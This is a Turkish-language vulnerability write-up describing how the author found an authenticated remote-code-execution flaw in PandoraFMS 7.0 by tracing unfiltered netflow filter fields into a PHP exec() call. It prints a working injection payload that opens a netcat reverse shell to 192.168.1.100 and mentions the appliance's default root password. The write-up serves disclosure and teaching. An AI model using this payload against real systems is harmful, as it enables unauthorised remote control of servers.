[TR] PANDORAFMS 7.0 REMOTE CODE EXECUTION x4
Last updated
Was this helpful?
Last updated
Was this helpful?
Merhaba, adında açık kaynaklı bir ağ izleme aracında bulduğum Authenticated RCE zafiyetinin detaylı bulumunu anlatıyor olacağım. Statik kaynak kod analizine dair türkçe pek bir kaynak bulunmuyor oluşunu göz önünde bulundurarak makaleyi türkçe kaleme aldım.
AUTHENTICAD RCE
Authenticated, zafiyetinin tetiklemesi için geçerli bir kullanıcı gerekli olduğunu belirtir. RCE ise uygulama üzerinden uygulamanın çalıştığı sunucuda sistem kodları çalıştırabilmemize olanak sağlayan zafiyet türüdür.
PANDORAFMS
Uygulama indirme linki:
Zafiyeti tespit ettiğim sürüm: 7.0
BÖLÜM 1: Uygulama Eldesi
Profesyonel bir kaynak kod analizicisi değilim bu sebeple zafiyet bulmanın kendime göre en basit olacağı uygulama türleri sınıflandırdım. Bunların başında ise ağ izleme yazılımları geliyor. Ufak bir açık kaynaklı popüler ağ izleme araçları listesine eriştim ve burada yazılımına rastladım, hem açık kaynaklıydı hemde indirme linklerinde doğrudan sanallaştırma yazılımlarıyla kullanılabilecek bir OVA dosyası bulunuyordu. Doğrudan bir OVA dosyası bulunması, uygulamanın kaynak kodlarına erişimde işleri oldukça kolaylaştırıyor. OVA dosyasını indirdim ve ile sanal makine olarak kaldırdım.
Bölüm 2: Kaynak Kod Eldesi
Sanal makineye giriş yapmak için dağımtıcının kendi sağladığı üzerinden root:pandora giriş bilgisini aldım ve sisteme giriş yaptım.
Sistem üzerinde biraz gezindikten sonra, uygulamaya dair kodların varsayılan webservisi dizini olan /var/www/html dizininde tutulduğunu tespit ettim.
Bölüm 3: Kaynak Kodun İncelenmesi
Statik kaynak kod analizlerinde komut çalıştırmaya dair bir zafiyet arıyorsak başlı başlı dikkat etmemiz gereken bazı fonksiyonlar var. Bunların bir kaçına örnek olarak; system, exec, shell_exec, popen, eval, passthru
fonksiyonları verilebilir.
IDE üzerinde tüm projede bulunan php dosyalarında yukarıda belirttiğim fonksiyonları aramaya başladım ve boşa çabalanan bir kaç saatin sonunda functions_netflow.php dosyasının 648. satırında zafiyete dair çok umut vaadeden bir nokta tespit ettim.
Hem exec() fonksiyonu kullanılıyor hemde henüz nerenden geldiği belli olmayan ama ben kullanıcıdan geliyorum diye bağıran bir değişkeni içeriyordu. Fazla Kemal Sunal izlemenin etkisinden olacak "Şimdi istanbul hapı yuttu" diye aklımdan geçirerek $command değişkeninin nereden geldiğini kurculamaya başladım.
$command değişkeni net_flow_getcommand() fonksiyonundan geliyor, daha sonrada önceden tanımlanmış ekstra bir kaç komutta üstüne ekleniyordu. IDE'nin arama özelliğini kullanarak fonksiyonun aynı dosyada 892.nci satırda tanımlandığını tespit ettim.
Fonksiyonu inclediğimde maalesef kullanıcıdan gelen herhangi bir verinin burada $command değişkenine maalesef eklenmediğini gördüm.
Fakat bereket olsun, $command değişkenine bir şeyler ekleyen yeni fonksiyon çıktı karşıma 904. satırda bulunan netflow_get_filter_arguments fonksiyonu. IDE üzerinden fonksiyonun tanımlandığı noktayı tespit ettim (aynı dosya 917. satır) ve fonksiyonu incelemeye koyuldum.
Fonksiyon bir sürü farklı girdiyi(ipsrc, ipdst, srcport, dstport) herhangi bir kontrolden geçirmeden $filter_args adında bir değişkene ekliyor ve en sonunda $filter_args değişkenini değer olarak dönüyordu. Daha sonra bu değer, $command değişkenine ekleniyor ve ilk tespit edilen satırda bulunan exec() fonksiyonuna gönderiliyordu. Yani eğer bu değişkenlerden herhangi birine istediğimiz girdiyi verebilirsek pekala buradan bir RCE elde edebiliriz. Aslında aradığım şey $_GET yada $_POST şekilinde kullanıcıdan alınan bir girdiydi fakat bu değişkenlerin hiç birinin geleneksel GET yada POST ile alındığını tespit edemedim. RCE hem çok yakındı hemde çok uzak. Bu durum canımı oldukça sıkmış olsada fonksiyonun içinde bulunan değerlerin mantıksal olarak kullanıcıdan alınması gerekiyordu. Uzunca bir süre bu değişkenlerin nasıl alındığı tespit etmeye çalıştım fakat bir sonuca varamadım. Biraz kafa toplamak amacıyla mola verdim. Bu noktada aslında yine bir şey bulamadığımı düşünüp bırakacaktım ki, aykırı bir tutum sergileyerek Googleda ufak bir arama yaptım.
Buradan dökümanları okumanın ne kadar önemli olduğunu tekrar alıyoruz. Site üzerinde biraz gezindikten sonra, heyecanımı tekrar kazandıran bir ekran görüntüsüne denk geldim
Burada ki gösterilen girdiler fonksiyonun içinde tespit ettiğimiz (ipsrc, ipdst, srcport, dstport) değişkenleriydi, yani RCE zafiyetini tetiklememiz için kontrol etmemiz gereken değişkenler. Hemen dökümanı takip ederek, tarayıcı üzerinden ilgili sayfaya eriştim:
Girdilerin gönderildiği noktalarının tespitinin ardından, kalan son iş uygun payloadı oluşturmaktı. Fonksiyonları tekrar inceledim, netflow_get_filter_arguments fonksiyonun sonunda $filter_args değişkenine "
karakteri eklediğini gördüm.
Dağıtımcıya ulaşmaya çalıştım fakat bir sonuç alamadım. Bu nedenle makaleyi açık olarak yayınladım.
BÖLÜM 4: EXPLOIT
Go Top
Kodları daha uygun bir ortadamda IDE üzerinden incelemek için dizini ile sıkıştırdım ve SCP kullanarak ana makineme aktardım.
Dosyaları kendi tercih ettiğim idesini kullanarak kurcalamaya başladım.
Çift tırnakları kapatmak için payloadımız " karakteriyle başlamalı ve kendi komutumuzu çalıştırmak adına " karakterini bir ; takip etmeli tabi farklı girdilerde kullanılabilir && gibi. Son olarak, payloadımızdan sonra gelecek eklemelerin payloadı bozmaması için en sona # işareti koymamız yeterli olacaktır. Yani payloadımız ";Girilecek Komut# taslağında olacak. Taslağın arasına ufak bir reverseshell komutu iliştirmek için den bir reverseshell komutu aldım. Ve sonuç payloadı: ";nc -e /bin/sh 192.168.1.100 1234 # olarak oluştu. Ve sayfada bulunan "router ip" harici herhangi bir inputa oluşturduğum payloadı verdiğimde bir shell eldesi sağladım.
Uzun zamandır Python kodlamadım bu sebeple işin kolayına kaçmak adına, daha önce gözüme takılan Mehmet İnceye ait bir kaynak kod analizi makalesi aklıma geldi. İlgili makaleye erişebilirsiniz. Makalede bulunan exploit kodunu PANDORAFMS üzerinde bulduğum zafiyete göre editledim ve sonuç olarak çalışan bir exploit elde ettim:
Exploit-DB: